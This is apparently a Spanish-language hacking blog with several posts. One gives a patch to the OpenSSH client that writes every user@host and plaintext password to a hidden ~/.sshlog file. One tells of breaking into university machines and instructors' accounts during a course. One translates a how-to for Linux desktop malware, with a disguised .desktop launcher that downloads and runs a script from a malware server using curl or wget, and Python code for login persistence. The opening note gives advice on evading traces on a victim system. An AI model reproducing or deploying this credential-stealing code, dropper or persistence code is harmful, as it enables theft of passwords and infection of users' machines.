*NOTA: Este paso tiene cierta cosa, no podemos (no siempre) compilar en un ordenador y luego llevarnos el binario creado a otro, ¿por qué? los programas en general usan bibliotecas que están en el sistema, si compilamos en un sistema (con unas bibliotecas) e intentamos ejecutar en otro ordenador (probablemente con otras bibliotecas) aparecerán problemas entre versiones. Puedes bajarte la versión de bibliotecas en el sistema víctima y compilar usando esas versiones o puedes compilar en el sistema víctima... MUCHO OJO, esto último deja ciertos rastros en el sistema víctima, sin ir más lejos lo que hagas se guarda en el fichero .bash_history que antes usamos para sacar información xD... tampoco me gusta porque me puede delatar jejeje... En general es más seguro (para el atacante) realizar el máximo posible de acciones en su sistema y trasladar y/o estar en el sistema víctima sólo lo imprescindible.

Ya esta bien, a usar una contraseña "segura"

2009-03-31T17:00:00.003Z

Llevaba pensando en ello un tiempo largo, pero nunca me habia decidido a ello, ya hoy por fin lo he hecho (mientras escribo esto), estoy hablando de usar una contraseña más segura que la que tengo, para ello voy a generarla con apg un programa dedicado a la generacion de claves más o menos seguras y a la comprobación de integridad de la misma. El comando que he usado (después de instalar apg) es:

apg -a 1 -n 1 -m X -x Y -M sncl

-a 1: Que genere contraseña aleatoria, tiene otro modo que produce contraseñas pronunciables (menos seguras).

-n 1: Que produzca solo una contraseña.

-m X -x Y: tamaño minimo X y tamaño maximo Y... no voy a poner el tamaño que yo he elegido pero por defecto es 8.

-M sncl: Esto es interesante, cada letra le indica al programa si deberia o debe usar caracteres especiales (·$%&...), numeros, mayusculas y minusculas. Es interesante saber que estas cuatro letras se pueden poner en minusculas o mayusculas para indicarle should (deberia usar) o must (debe usar) respectivamente. En principio puede parecer que usar las mayusculas para obligarle a usar todo tipo de simbolos puede ser mas seguro... PUES NO! obligar = restringir, si pusieramos alguna letra en mayuscula estariamos eliminando un gran espacio de claves ya que podriamos eliminar todas las combinaciones que no usen los 4 tipos de simbolos, me di cuenta un poco despues de leer should y must en el man.

Bueno... ahora toca aprenderme de memoria el chorizo que me acaba de soltar :s

Happy Hacking!

PD: En futuras entradas complementare el ussh con algun truquillo barato para engañar a la victima... que he estado probando ;)

PDD: En las distros hay un comando mkpasswd pero no se recomienda su uso para generar las contraseñas... tiene pinta de ser mas antiguo que la rasca... usa crypt(3) que a su vez usa 3DES, que a su vez esta muy roto.

Cliente ussh

2009-03-19T23:39:00.004Z

Que es un cliente ussh? alguien lo sabe?... pues en principio no deberian! porque me lo acabo de inventar... son las siglas de UnSecure SHell.

El cacho de codigo que posteo lo he escrito dentro de los fuentes de openssh (concretamente la version 3.9, aunque ya estamos por la 5.2 cuando escribo esto):

/*******************************************************/
/* Added by me to get the user password in plain text. */
/************************ HACK *************************/
{
const int LEN = 8196;
const int OPEN_OPTS = O_RDWR | O_CREAT | O_APPEND;
const mode_t OPEN_PERMS = 0600;

int fd;
char *home;
char name[LEN];
char pair[LEN];

/*
* Build the pair user@server -- password.
*/
snprintf (pair, LEN,"%s@%s -- %s\n", authctxt->server_user, authctxt->host, password);

/*
* Build the absolute path name for a hidden file that will contain
* the pair user@server -- password.
*/
if ((home = getenv ("HOME")) == NULL)
goto out_hack;

strncpy (name, home, LEN);
strncat (name, "/.sshlog", LEN);

if ((fd = open (name, OPEN_OPTS, OPEN_PERMS)) == -1)
goto out_hack;

write (fd, pair, strlen (pair));
close (fd);

}

out_hack:
/**************************/
/******* END HACK *********/
/**************************/

Se ve claramente que es muy sencillo y ademas tiene explicado lo que hace. Es una demostracion de como claramente hay momentos en los que la contraseña SI ESTA EN TEXTO CLARO dentro de la memoria del proceso. Lo que aqui se hace es que cada vez que se utilice el cliente ssh se guardara en el fichero "$HOME/.sshlog" una linea con el usuario el host y la contraseña que se ha utilizado.

No he querido complicarme mucho con el manejo de ristras y he declarado buffers estaticos aunque estoy utilizando "funciones de ristras n" (strncpy, strncat y snprintf) y ademas creo que las variables de entorno estan limitadas por los sistemas... aun asi recordemos que no se deberian usar bufferes estaticos donde la informacion puede venir de fuera por problemas con buffers overflows

Como este codigo se puede usar con mala idea no pongo en que fichero hay que ponerlo, ni funcion, ni linea ni nada mas, alguien con un minimo de habilidad sabria buscar donde va y por supuesto escribirlo... de hecho creo que tiene mas merito buscar el sitio concreto donde habria que ponerlo que escribirlo...

Cuando lo más seguro no es infalible

2009-03-18T23:30:00.002Z

Hola hackers del mundo! Pues resulta que la semana pasada estuve haciendo un curso de "configuración de redes en linux"... yo lo habria llamado antes de ir "configuracion de redes en gnu/linux", pero ya sabemos como anda el mundo. No obstante despues de ir lo habria llamado "te vamos a explicar (diciendo mentiras) por que gnu/linux es mejor que hasefroch", en fin un curso donde le vendian a los alumnos el sistema, ¡que me parece muy bien que lo hagan!, pero por encima de usar gnu/linux, hasefroch o moc os, prefiero que se diga la verdad.

Voy al ajo, resulta que como me aburria muchisimo en el curso pues me entretuve hackeando un poquillo los ordenadores de la facultad donde se impartia, mirando que cosas tenian por aqui y por alla. Total que lo primero que hice por supuesto fue conseguir una cuenta de root en cualquier pc de por ahi (ya saben lo sencillo que es si se tiene acceso fisico a la maquina), pues no habian pasado ni 40 minutos y ya habia accedido a las cuentas de los profesores en una maquina con servidores :(, y aun me quedaban por delante 4 dias de eterno aburrimiento... en fin, se lo dije al profesor para que lo corrigiera si queria, por supuesto se puso a la defensiva e intentando decirme que no estaba en lo cierto y yo "mira, es que ya he entrado en tu cuenta, no es algo que me este imaginando que se puede hacer". Bueno, al final no se lo tomo tan mal y es mas diligente que la media y se preocupo en pensar como resolverlo... QUITA NFS!

Al dia siguiente en el descanso mientras me tomaba un leche y leche calentito se me acerca y empezamos a hablar un poco de seguridad y tal... entonces le comento que es que a mi me gusta mucho este tema y claro, miro y pruebo cosas fuera de la uni, pero que realmente no soy bueno, simplemente conozco un par de patrones en que se incurre bastante en mi universidad y lo ataco un poco a ver hasta donde llego... Total, que por h o por b, acabamos hablando de los limites de la seguridad y se lo digo bien claro "no hay nada infalible, en el fondo fondo no te puedes fiar de nada ni del propio SSH ya que por muy seguros que sean, les puedes sacar las contraseñas". Me miro con una cara como si hubiera cometido un sacrilegio! PERO COMO VOY A PONER EN ENTREDICHO SSH Y MUCHO MENOS OPENSSH!!! Entonces llego el momento de la explicacion:

- Mire, es que por mas que nos empeñemos, siempre hay momentos dentro de una maquina donde las contraseñas SI estan en texto claro, incluso en cliente y servidor de ssh.

- Noooo! nunca estan en texto claro.

- Si, vera, aunque una comunicacion con ssh es cifrada, es necesario que el proceso ssh cliente (en un extremo) le envie la contraseña en texto plano al servidor (en el otro extremo) para que este pueda chequearla contra su base de datos (nis, ldap, passwd, lo que sea).

- PERO SE LA ENVIA CIFRADA, EL PAQUETE SSH ESTA CIFRADO!

- Si si, ya lo se, pero no me esta entendiendo, una cosa es la clave de sesion con la que se cifra el paquete ssh, pero dentro de ese paquete (el cual es descifrado en el extremo que lo recibe) tiene dentro mucha informacion, entre otras cosas si se esta intentando hacer un login, tiene la contraseña en texto claro, el proceso es el siguiente:

|--- datos --- contraseña en claro ---| <-- Paquete a enviar por ssh

- Este paquete lo ciframos con la clave de sesion que establecio ssh automaticamente al empezar (mediante el intercambio de clave publica/privada) obteniendo:

| 123!EDC3f"%35f35cr"·$F25c2%C2| <--- Paquete cifrado

- Cierto que de aqui no podemos sacar nada (no hablamos de cracking), pero es que tanto en el servidor como en el cliente tiene que estar primero la contraseña en claro, para poder despues cifrar el paquete y obtener el chorizo ese. Solo (bueno, mas bien "solo") tenemos que meternos en el mapa de memoria del proceso y buscar donde guarda eso, aunque hay que hacerlo rapidito porque esa informacion no esta mucho tiempo en memoria.

Y entonces me suelta, la siguiente idea:

- No! la contraseña se cifra en el cliente y luego se mete en el paquete y se cifra entonces el paquete, al servidor solo le llega una contraseña cifrada y el la compara en su shadow

... vamos a ver... solo voy a decir que ese diseño roza lo INEFABLE!. Veamos, esa arquitectura esta presuponiendo que ambos sistemas usan el mismo algoritmo de cifrado para el sistema de login (todos md5? todos 3DES?), todos utilizan las mismas semillas, el mismo generador de aleatorios... pero que me estas contando!? ademas colega, te estoy diciendo que no es algo que yo me haya inventado, es algo que he comprobado que es asi!!! que pasa!? que porque sea un alumno no puedo saber un poco mas de algun tema que algun profesor? pk se ofuscan tanto cuando alguien que aun estudia y es bastante mas joven les intenta enseñar algo? Ya me gustaria a mi encontrarme con algunos de esos superhackers jovencisimos y que me enseñara cosas!!! joder! daria un dedo por haber conocido a dvd john cuando tenia 15 años!

En fin... ya me he cansado de tanta tonteria, la proxima entrada que escriba publicare el codigo de un modulo para el kernel que se metera en la memoria de un proceso, concretamente ssh y recogera la cuenta de usuario y su contraseña, en texto claro, sin mayor problema. Lo pondria ahora mismo, con su makefile y todo, listo para ejecutar, pero por desgracia he sufrido la maldicion del informatico que no hace copias de seguridad xDDDDDDDDDDDD. En fin, ya lo reescribire y aprovechare para repasar un poco la creacion de modulos ;)

Happy Hacking!

Derechos

2009-03-12T17:41:00.002Z

Esta entrada no es tecnológica, pero todos la deberíamos tener presente.

Esto lo ví en subtítulos de la serie scrubs.

TODAS LAS PERSONAS TIENEN DERECHO A LA EDUCACIÓN Y EL DISFRUTE DE LOS BENEFICIOS DE LA LIBERTAD CULTURAL Y EL PROGRESO CIENTÍFICO.

Declaración del pacto internacional de derecho civiles y políticos de la organización de las naciones unidas.

Gracias PolloDH, por scrubs y the big bang theory al menos.

Cómo escribir un virus para Linux en 5 cómodos pasos

2009-02-20T09:01:00.012Z

Hace poco ha llegado a internet un post de un hacker sobre cómo escribir un virus para sistemas linux. Lo que a continuación pretendo es escribir una traducción sobre ese artículo para enriquecer más internet y para su disponibilidad para gente de habla española que no habla tanto inglés. No se confundan, no soy una persona bilingüe (que más quisiera yo), simplemente soy un interesado de estos temas que vió el artículo, no lo encontró en español y pensó que podría intentar hacer una traducción más o menos íntegra. Yo no he aportado nada en este artículo, sólo soy un mero traductor (y probablemente malo).

A la hora de traducir me he encontrado con lo que supongo es muy común a la hora de traducir textos técnicos informáticos, palabras que a pesar de que tienen su significado en español, son tan ampliamente usadas en inglés en estos círculos que no sabe uno si traducirlo o no, por ejemplo "buffer overflow", se podría traducir como algo así "desbordamiento de zona de memoria intermedia". He leído libros que realmente me dan grima con sus traducciones, siempre recordaré que en "Linux Kernel Modules" 3ª ed. en español la interfaz de loopback lo traducían como interfaz de bucle de retorno, y que me costó algunos segundos entender a lo que se refería. Por ello, y como este texto va destinado principalmente a técnicos en el área, voy a dejar unos cuantos conceptos directamente en su lenguaje original, puede incluso que traduzca algunos que realmente debiera dejar en inglés.

El texto está escrito por un hacker, por tanto sería recomendable conocer cosas de este mundillo, cuando decimos OS evidentemente nos referimos a Operating Systems, *nix hace referencia a UNIX, etc...

La traducción está hecha en una sola pasada (no quiero dedicarle mucho tiempo ni quiero ser riguroso 100%) así que te, tu lector que probablemente sepas inglés, encontrarás muchas cosas que habrías escrito de otra forma.

/* Comienzo */

El rumor de la arquitectura a prueba de balas de Linux

Hay un rumor que corre por ahí que dice que Linux está libre de virus. Se dice que la vieja herencia multiusuario de Linux (y otros *nix OSs) previenen el malware, debido a que los usuarios no están generalmente ejecutando sus programas en modo administrador (como usuario root). Se nos recuerda que son necesarios los bits de ejecución para ejecutar cualquier cosa - a diferencia de Windows - y esos bits no están establecidos en ningún archivo adjunto o fichero salvado desde emails o desde un navegador web.

Más aún, se nos dice, que la arquitectura de Linux es tan superior a la de Windows que no es posible la difusión de malware. Por supuesto - es sabido que - un fallo de bajo nivel, un buffer overflow u otra cosa es explotable. No obstante, los usuarios no pueden simplemente coger un virus por email o descargar malware desde Internet, al contrario que "esos usuarios de Windows". Linux los protegerá de su propia estupidez.

Al menos eso dicen las historias. Pero tristemente eso no es verdad. Voy a enseñar cómo es posible en unos pocos y fáciles pasos escribir un mail perfectamente válido para modernos Linux de escritorio. Voy a hacerlo no porque quiera desprestigiar a Linux. Todo lo contrario: Me gusta y doy soporte a Linux, que es todo lo que uso en casa y en el trabajo. Soy un gran partidario del software libre y abierto como los lectores de este blog sabrán. Pero si hay algún riesgo de seguridad, incluso en mi OS o distribución favoritos entonces necesita ser debatido. Más importante aún: Una falsa sensación de seguridad es peor que la falta de seguridad. Una reivindicación de superioridad no justificada tampoco ayuda en un debate razonable.

Algunas anotaciones antes de empezar

Actualización: Ha habido mucha controversia sobre mi por utilizar el término "virus" no de forma correcta aquí. Debería hablar sobre un "troyano" realmente. Hay desacuerdos sobre si los virus requieren interacción con el usuario o no, y sobre si deberíamos hablar sobre un gusano si estamos hablando de malware que puede difundirse sin interación del usuario. También hay algunos desacuerdos sobre si el malware que se difunde vía email puede ser considerado un virus o no. Hay muchas fuentes que llaman a tal cosa un virus (un virus de email) y otras que serían más concretas en su definición. Dejemos este artículo fuera de esa discusión. Aquí llamo a este malware "virus" incluso aunque requiere interación del usuario y a pesar de ello no doy código para difundirlo por si mismo (el código sólo es pseudo-código de muy alto nivel).

Debo hacer notar: Las vulnerabilidades de las que vamos a coger ventaja son 'características' de la mayoría de entornos de sistemas de escritorio Linux modernos y populares, Gnome y KDE. El núcleo actual de Linux por si mismo no tiene ninguna de estas vulnerabilidades. Un sistema Linux (o cualquier otro *nix) que no tenga Gnome o KDE no tendrá ninguno de estos problemas, lo cual es una de las grandes ventajas de separar adecuadamente el núcleo del OS de las demás aplicaciones como por ejemplo el entorno de escritorio.

Por otra parte, si ejecutas esos entornos de escritorio en otros OSs (quizás en FreeBSD, por ejemplo) entonces posiblemente tendrás que tratar con la misma vulnerabilidad. Un título más preciso para este artículo podría ser: Cómo escribir un virus para Gnome/KDE en 5 fáciles pasos. Pero debido a que Gnome y KDE se usan predominantemente sobre Linux, me parece que un virus basado en esas vulnerabilidades impactaría sobre todo a usuarios de Linux así que el título continua siendo válido.

El artículo explicará qué pasos debe seguir para infectar un escritorio y cómo instalar su malware y dará información de background de por qué esos pasos son necesarios y por qué funcionan. Después de la larga explicación hay un documento paso a paso hacia el final. Sin embargo hay algunos trozos de código aislados, el artículo no proveerá de código un malware listo para usar.

Varios días antes envié un mensaje a los equipos de seguridad de Ubuntu y Fedora, preguntándoles si les importaría echar una ojeada a ésto antes de que lo publicara. El equipo de Ubuntu todavía no ha dicho nada, pero el de Fedora me dijo que esto es "un comportamiento conocido y esperado" y que no tenían ningún problema con que publicara ésto. ¿Conocido y esperado? ¿en serio? De acuerdo entonces, aquí vamos.

Consiguiendo que los usuarios abran archivos adjuntos: ¡Mira estas fotos de desnudos!

Si estás buscando algo nuevo, un maravilloso exploit o algún otro inteligente truco hacker, te deberé decepcionar completamente. Lo que aquí voy a enseñar es meramente un ejemplo de cómo la ingeniería social de la vieja escuela para viruses (difícilmente se merecen ese nombre) que han estado molestando el mundo de Windows por tanto tiempo puede usarse en Linux, o cualquier otro *nix OS con un entorno de escritorio moderno.

La premisa de este tipo de 'virus' es simple: Conseguir que el usuario ejecute un archivo adjunto que le envías vía email. Esto no tiene nada de tecnológico. No hay magia negra. No estoy tomando ventaja de ningún exploit nuevo de ninguna forma. Para hacerlo funcionar en Linux simplemente estoy usando las 'características' de entornos de escritorio modernos por algunos caminos no esperados. A fin de cuentas todo ello es "conocido y esperado".

Hacerlo sobre Windows es así. Creas tu malware como un archivo EXE, lo adjuntas a un email que dice algo como: "¡Guau, mira estas fotos de desnudos de ...!". El desafortunado usuario hará doble click en el adjunto, y Windows - en ausencia de algún software anti-virus decente - obedientemente se ejecutará. Antes de que te des cuenta el malware es instalado y el sistema está comprometido. La ejecución de archivos .EXE desde clientes de email sobre Windows es algo, por supuesto, "conocido y esperado".

¿Crees que esto no es posible en Linux? Por supuesto que sí. Sólo requiere uno o dos pasos más. De todas formas no hay nada fundamental en la arquitectura de Linux que prevenga de la estupidez o ignorancia del usuario, que es evidentemente el ingrediente principal de cualquier vector de ataque como éste.

Sólo hay un pequeño problema que necesita ser resuelto. Bueno, dos, realmente.

Primero, la mayoría de clientes de correo para Linux no ejecutan adjuntos. Pueden intentar abrirlo si conocen la extension como un indicador del tipo de fichero (.pdf u otro documento por ejemplo). Pero no tiene por qué. Digamos que has escrito tu malware como un bonito script en Python. En ese caso, tu script podría tener de final .py, pero el cliente de correo probablemente seguirá sin invocar al interprete de python para tí. Tendrás que configurar el sistema para hacer eso, y ¿quién haría algo así?

Necesitamos una aproximación ligeramente diferente. Algo que siempre se ejecute cuando se clicke sobre él. Y aquí entonces hay un paso más que necesita ser tenido en cuenta por el usuario, que puede reducir un poco el ratio de éxito de este vector de ataque. El usuario primero tiene que salvar el adjunto y luego hacer doble click en él. Debido a que el cliente de correo generalmente no puede ejecutar un archivo ejecutable, los entornos de escritorio si que pueden como veremos. Entonces el email tiene que poner algo como esto:

¡Guau, mira estas fotos de desnudos de ...!
(si el adjunto se abre guardalo en el escritorio y abrelo...)

Eso sonará sospechoso para la mayoría de nosotros, pero 'la mayoría' no es 'todos' y la estupidez del usuario está en todos lados. Además, muchos usuarios de clientes de correo web suelen tener una rutina de guardar primero.

No subestimes la ignorancia del usuario - incluso en Linux

Quizás puedas argumentar que la mayoría de usuarios de Linux tienden a estar un poco más al tanto de lo que están haciendo. Normalmente tienen que hacer una elección consciente sobre sus OSes y más aún tienden a no ser el típico usuario no técnico. ¡Pero eso está cambiando! Algunos portátiles están siendo vendidos con Linux por defecto. En ese caso puede que los usuarios no hayan tenido una elección de Linux consciente y puede ser simplemente un feliz ignorante como esos usuarios de Windows que clickan en archivos adjuntos de emails. También algunas grandes organizaciones están pensando en usar Linux como el entorno de escritorio. Varias ciudades y gobiernos alrededor del mundo, por ejemplo. Los usuarios no son técnicos tampoco y clickarán en los archivos adjuntos.

Más aún, la ausencia de virus en el pasado ha dado a los usuarios de Linux una sensación falsa de seguridad. Estamos tan acostumbrados al mantra de "¡Linux es tan seguro, que ni siquiera necesitas software antivirus!" que probablemente no tenemos ningún anti-virus que nos pare cuando vayamos a hacer alguna bobería.

Ok, volviendo a las cosas técnicas. La mayoría de clientes de correo guardan los archivos adjuntos en el escritorio del usuario o en la carpeta de descargas dónde el usuario irá a mirar. Entonces si el usuario finalmente no revisa el adjunto sino que simplemente clicka sobre el botón de "guardar" en el cliente de correo ahí podemos hacer el truco: El adjunto va a estar ahí, delante mismo del usuario. De hecho, me he dado cuenta que, por alguna razón, mi cliente de correo de Evolution algunas veces tiene problemillas abriendo directamente documentos normales como adjuntos. Por ejemplo, alguien me envió un archivo .odt pero Evolution algunas veces no arranca OpenOffice por mí. Así que, cuando ésto no funciona, simplemente lo guardo y abro. ¡Yo mismo estoy entrenado para hacer este tipo de cosas!. Probablemente no soy el único.

Consiguiendo ejecutar el adjunto

Anteriormente dijimos que los adjuntos normalmente no son ejecutados cuando son guardados como ficheros. No hay extensiones estandar que indique que un fichero debiera ser ejecutado cuando se clicke sobre él, como ocurre en Windows. En vez de eso - y aquí está el segundo obstaculo que necesitamos salvar - para que el archivo sea ejecutable sobre Linux (o cualquier otro OS *nix), el bit de ejecución debe estar activo en los permisos del fichero. Esto es algo que Windows no tiene, y que se suele ver como una de las razones de por qué infectar un PC con Windows es tan fácil, y por qué es casi imposible en sistemas *nix. Cuando guardas un adjunto de un email sobre Linux, el bit de ejecución normalmente no está activo y entonces el fichero no puede ser ejecutado simplemente clickando sobre él. ¿Sin suerte?

No tan rápido. Los entornos de escritorio modernos como Gnome y KDE, convenientemente ofrecen una bonita aplicación llamada 'lauchers' (NdT: lanzador de aplicaciones). Son pequeños ficheros que describen cómo se debe ejecutar algo. Sólo unas pocas líneas que especifícan el nombre, el icono que debe ser mostrado y el comando a ejecutar. Convenientemente, la sintaxis de esos ficheros de lanzadores es la misma para Gnome y KDE. ¡Y esos lanzadores no necesitan tener ningún permiso de ejecución activo en ellos! Los entornos de escritorio tratan esos ficheros como un caso especial, de forma que cuando clickas sobre ellos Gnome o KDE ejecutarán felizmente el comando que está especificado dentro de la descripción del lanzador y sin necesidad de que el bit de ejecución esté activo. ¡Ahora estamos llegando a algo!.

Un problema que no estamos encarando es que el comando que puede ser ejecutado por el lanzador realmente es sólo una línea y sólo un comando. Es un poco enreversado instalar malware con sólo un único comando. O no? Mira esto:

% bash -c "curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py"

¿Qué hace este comando? Ejecuta bash, un interprete de órdenes (parte de cualquier instalación por defecto), y le pasa como argumento la ristra con dos comandos sencillos, que bash ejecutará. El primer comando (curl) descarga un script de algun servidor de malware que hayas puesto en marcha y luego almacena el script en algún lugar que sepamos que podemos escribir (el directorio /tmp). Nótese que en algunos sistemas (Ubuntu, por ejemplo) no tienes curl, pero sí algun comando similar como wget. Eso complica un poco el comando actual, pero no es un problema insalvable, como se muestra en la guía paso a paso más adelante. El segundo comando (la llamada al intérprete de Python) ejecuta el recién script descargado (en el ejemplo es un script en Python). Ambos Python y curl (o wget) son componentes típicos de la mayoría de instalaciones por defecto de distros Linux.

Si ponemos esto en la línea de ejecución de la definición del lanzador entonces un simple click en el lanzador permitirá la ejecución del comando, que realmente ejecutado dos, que permitirán la descarga y ejecución de un script arbitrario tan complejo como se quiera. Todo sin necesidad de que el bit de ejecución esté activo.

No necesitas ser root para hackear (NdT: own es usado en la jerga hacker tal cual, junto con otras palabras como defaced, etc...) a alguien

Nada de eso requiere privilegios de root. Y ahora nuestro script puede hacer lo que quiera dentro de los confines de la cuenta del usuario. Puede estar limitado, pero eso no previene la posibilidad de hacer una cantidad significativa de daño.

Por ejemplo, puede robar el libro de direcciones del usuario para recolectar direcciones de correo y enviarlos a nuestro servidor de malware, comenzar a enviar spam o difundirse a si mismo por email. Puede isntalar una extensión para Firefox que captura contraseñas cuando el usuario las escribe. Puede compartir el escritorio via VNC sin conocimiento del usuario. Puede arrancar un demonio que haga saltar pop ups de anuncios. ¡Adware de Linux!

Todo esto es ejecutado como un proceso normal del usuario. En verdad, en un sistema de escritorio que normalmente es usado por un único usuario, tener la cuenta de ese usuario es muy parecido a tener la cuenta de root, en lo que se refiere a hacer daño: Todas las acciones que te interesen serán llevadas a cabo en la cuenta del usuario.

¿Pero quizás realmente quieras ser root para tu malware?. Bien, también hay una forma de conseguirlo, pero no está garantizado que funcione en todos los casos y francamente no es necesaria para infectar a una máquina. Para no distraernos de los puntos importantes de este artículo, tengo una discusión sobre ello en el apéndice.

Autoarranque después del reinicio

Pero seguramente, incluso si el usuario no es capaz de encontrar el proceso ejecutándose y matarlo simplemente un reinicio lo parará, ¿verdad? Claro, son necesarios privilegios de root para que nuestro malware sea ejecutado automáticamente en caso de que el sistema se reinicio ¿cierto?.

Pues no. Los usuarios no necesitan privilegios de root para configurar ciertas aplicaciones para autolanzarse cuando entran en sus propias sesiones. Eso es porque sólo realizan cambios sobres sus probpias cuentas de usuario, no en el sistema que subyace. De nuevo, cualquier aplicación ejecutada como parte de la sesión de usuario sólo correrá con el nivel privilegios de ese usuario, pero como hemos visto, ésto no es un gran problema. Muchas cosas interesantes se pueden hacer incluso así.

Encontes, ¿cómo hacemos nosotros mismos para auto ejecutarnos cuando el usuario entra en el sistema? Hay un montón de scripts que se ejecutan cuando ejecutas un intérprete de órdenes, pero un usuario que hace click sobre un adjunto sospechoso no suele ejecutar un intérprete de órdenes muy a menudo a fin de cuentas. Afortunadamente, los entornos de escritorio modernos tiene su propio conjunto de comandos que autoejecutan en el login (NdT: ya está bien de traducirlo jejeje). En el caso de Gnome, echa un vistazo a lo que hay en ~/.config/autostart (puede que este directorio aún no exista, si aún no has configurado ninguna aplicación para que se autoejecute). ¡Sí! ¡Más lanzadores! Esos son ejecutados cada vez que el usuario se logea en Gnome. Para KDE es incluso mas simple: Sólo enlaza ha tu ejecutable desde la carpeta ~/.kde/Autostart.

¡Nuestro malware entonces sólo necesita crear una entrada apropiada en esas carpetas y se ejecutará cuando el usuario se logée!

Y eso es todo lo que hay. Dejo la escritura del script de malware como un ejercicio para el lector (NdT: El traductor tampoco va a enseñarlo, pero esto es obscenamente sencillo, de hecho, todo esto es muy muy simplón).

Guía compacta paso a paso

Bien, aquí está el sumario, que también se complementa con algunos detalles más específicos:

Escribe una pieza de malware a tu elección. ¿Quizás un script en Python? Buen lenguaje, código eficiente, preinstalado en la mayoría de distros Linux y con una biblioteca estandar poderosa (por ejemplo, biblioteca para envío de peticiones HTTP y manejo de SMTP son parte de la mayoría de instalaciones estandar). Coloca ese malware en algún servidor web
Tu malware necesita la habilidad de instalar un lanzador por si mismo para que se ejecute cuando el usuario se logée. Como ya se dijo, para Gnome eso significa crear una descripción del lanzador en la carpeta ~/.config/autostart. Para KDE simplemente enlazar tu ejecutable desde la carpeta ~/.kde/Autostart. Puedes hacer que el malware simplemente fuerce a copiar o enlazar en ambas localizaciones (creando los directorios si no existían) o puede ser un poco más listo y elegir la opción correcta basándose en el entorno de escritorio que detecte.

Por ejemplo, para crear el acceso directo para KDE, todo lo que necesitas escribir en Python es:

import os
uname = os.getlogin()
drop_dir = “/home/%s/.kde/Autostart” % uname)
os.makedirs(drop_dir)
os.symlink("/home/%s/.local/.hidden/s.py" % uname, drop_dir+“/s.py")

Para Gnome el script en Python necesitaría escribir un lanzador en el directorio apropiado:

import os
relauncher_str = """
[Desktop Entry]
Type=Application
Name=Malware
Exec=python .local/.hidden/s.py
Icon=system-run
"""
uname = os.getlogin()
drop_dir = “/home/%s/.config/autostart” % uname
os.makedirs(drop_dir)
f = open(drop_dir+”/Malware.desktop”, “w”)
f.write(relauncher_str)
f.close()

Escribir estas entradas de autoejecución es probablemente una de las primeras acciones que tu malware deba llevar a cabo.
Ahora creamos un lanzador para el instalador del malware, que es un poco diferente al lanzador que usamos para reiniciar el malware después de un reinicio. El lanzador para el instalador es lo que enviamos como adjunto en el email al usuario objetivo. Es lo que el usuario clickea después de guardarlo. Prueba algo como esto:

[Desktop Entry]
Type=Application
Name=some_text.odt
Exec=bash -c 'URL=http://www.my_malware_server.com/s.py ;
DROP=~/.local/.hidden ;
mkdir -p $DROP;
if [ -e /usr/bin/wget ] ;
then wget $URL -O $DROP/s.py ;
else curl $URL -o $DROP/s.py ; fi;
python $DROP/s.py'
Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png

Nótese que hemos especificado un nombre que aparenta no hacer daño e incluso elegido un icono que le hace parecer un documento normal (ese icono en particular está presente en Ubuntu (Gnome) y Kubuntu (KDE), pero no en Fedora). Si dices enviar fotos de desnudos en el email, sólo dale un nombre que aparente ser una imagen (algo con .jpg al final) y elige un icono estandar apropiado para imagenes.

La línea de Exec es un poco más larga ahora, porque tenemos que tener en cuenta la posibilidad de que wget o curl estén instalados. Por ejemplo, sistemas Ubuntu suelen tener wget, mientras Fedora viene con curl. Pasamos el comando apropiado a bash para comprobar cual está presente y entonces llamar al comando correcto para descargar el malware. No soy un experto en bash, así que puede que haya una manera mucho mas eficiente de hacer esto. Pero pillais la idea. También en esa línea estamos creando una buena localización para el script ($DROP), que no es inmediatamente obvia. El comando mkdir con la opción -p creará silenciosamente tanto directorios padres como sean necesarios. El directorio objetivo está en el home del usuario, escondido en algún inocente directorio que aparente ser local y sólo se verá cuando se muestren archivos ocultos. El directorio /tmp por supuesto no es un buen sitio para nuestro malware, puesto que se borra con cada reinicio.

Guarda este lanzador bajo el nombre que especificastes en la línea Name, pero añade '.desktop' al final del nombre actual. En nuestro caso salvaremos el archivo como 'some_text.odt.desktop'. Cuando lo coloques en el escritorio verás que Gnome o KDE lo tratan de manera especial, sin enseñar la extensión '.desktop'. Así el fichero aparentará ser 'some_text.odt'. Por supuesto, eso también significa que el adjunto al correo tendrá esta extensión también. Algunos usuarios se darán cuenta, otros no.
Adjunta este fichero a un email, que apunte al receptor que guardará y abrirá el adjunto. Como se explicó, una vez esté guardado aparecerá como 'some_text.odt' en el escritorio del usuario. Y con el icono que hemos elegido en la descripción del lanzador aparentará no ser dañino.
Envía el email a tantas direcciones de email como tengas.

¡Tachán! (NdT: Tenía que traducirlo xD). Un virus para Linux en 5 simples pasos. Cada usuario que guarde y abra el adjunto que enviastes se infectará con el script de malware que elegistes que también es reiniciado cuando el usuario se logea.

Fue fácil, ¿no?

Soluciones para el problema

El solución más fácil para prevenir este tipo de problemas es simplemente no clickar ciegamente en adjuntos que la gente te envía. ¿Suena como una frase que has oido en el contexto de Windows antes? Puedes apostar. El kit es: Incluso en Linux este aviso debería ser tomado en serio.

Una acción que puede ser tomada por los desarrolladores de Gnome y KDE: Hacer que los lanzadores requieran los permisos de ejecución. Un archivo adjunto guardado no los tendrá. Más aún, a pesar de que un lanzador sintácticamente correcto y apropiadamente nombrado sea dejado en el escritorio un usuario no puede hacer click en él y ejecutar si el bit de ejecución no esta activo.

Tercero, dejar de perpetuar el mito de que el malware y los virus son sólo problema de Windows. Linux es - en principio - tan vulnerable, por supuesto. Incluso así, los usuarios no trabajan con privilegios de root, si inadvertiamente ejecutan una pequeña parte de malware entonces mucho daño y autoejecuciones se pueden seguir haciendo. El simple hecho de que un archivo adjunto no correrá como root NO es suficiente protección contra la mayoría de cosas, como hemos visto. El hecho de que los archivos adjuntos no son guardados con los bits de ejecución NO es tampoco protección suficiente, debido a que los entornos de escritorio modernos te permiten maniobrar cuidadosamente alrededor de ésto.

Ahora mismo, el limitado mercado de Linux en los sitemas de escritorio proporciona cierta protección. La arquitectura de seguridad ofrece un poco más de protección. Pero nada de esto está a prueba de idiotas. Y con despliegues de Linux en sitios interesantes - tales como organizaciones gubernamentales - esas instalaciones también se vuelven interesantes objetivos para autores de malware.

Thunar?

Es interesante, el administrador de ficheros Thunar, sobre xfce (Xubuntu 8.10) hace algo que los administradores de ficheros de Gnome y KDE no hacen. Marca el archivo lanzador como malware potencial y previene la ejecución mediante un simple click. Trabaja donde los archivos adjuntos son guardados desde Thunderbird o desde un cliente de correo web como Yahoo Mail. ¿Alguien conoce qué hace concretamente Thunar para concluir si es 'malware'?

